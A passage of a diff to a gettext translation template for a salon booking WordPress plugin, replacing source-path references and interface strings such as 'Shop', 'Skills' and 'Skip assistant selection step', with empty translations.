System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:184\n+msgid \"Shift disabled\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:258, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:258, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:258, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:258, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:258, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:258\n-msgid \"Add New Assistant\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_row.php:154\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:144\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:183\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:154\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:144\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:183\n+msgid \"Shift enabled\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:259, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:259, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:259, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:259, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:259, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:259\n-msgid \"Edit Assistant\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:413\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:100\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:413\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:100\n+msgid \"Shop\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:260, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:260, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:260, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:260, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:260, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:260\n-msgid \"New Assistant\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:132\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:205\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:234\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:263\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:144\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:122\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:151\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:191\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:132\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:205\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:234\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:263\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:144\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:122\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:151\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:191\n+msgid \"Shop ID for multi-shop filtering (0 = all shops).\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:261, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:261, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:261, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:261, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:261, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:261\n-msgid \"View Assistant\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:94\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FApp_Controller.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:94\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FApp_Controller.php:43\n+msgid \"Shop ID.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:262, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:262, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:262, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:262, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:262, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:262\n-msgid \"Search Assistants\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:62\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:62\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:40\n+msgid \"Shop id.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:263, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:263, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:263, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:263, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:263, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:263\n-msgid \"No assistants found\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:74\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:74\n+msgid \"Shop:\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:264, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:264, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:264, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:264, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:264, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:264\n-msgid \"No assistants found in trash\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_documentation.php:71\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:71\n+msgid \"Show detailed information during checkout\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FAttendant.php:265, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:265, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:265, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:265, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:265, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:265\n-msgid \"Assistants Archive\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:885\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:885\n+msgid \"Show more details\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:265, src\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:265, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:28, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:265, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:265, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:265, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:265, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:28\n-msgid \"Booking Date\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:120\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:120\n+msgid \"Sign up at\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:267, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:267, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:267, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:267, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:267, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:267\n-msgid \"User name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:211\n+msgid \"site inactive\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:270, src\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:31, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:270, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:31, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:270, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:270, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:270, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:270, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:31\n-msgid \"Booking Price\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:565\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:565\n+msgid \"Site Url\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:271, src\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:271, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:271, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:271, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:271, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:271, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:32\n-msgid \"Booking Services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_assistant.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:136\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_assistant.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:136\n+msgid \"Skills\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:272, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:272, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:272, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:272, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:272, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:272\n-msgid \"Origin\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:174\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:196\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:158\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:174\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:196\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:148\n+msgid \"Skip\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:219\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:219\n+msgid \"Skip assistant selection step\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FPostType\u002FBooking.php:273, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:273, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:273, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:273, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:273, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:273\n-msgid \"Actions\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:222\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:222\n+msgid \"Skip assistant selection step, if only one is available\"\n 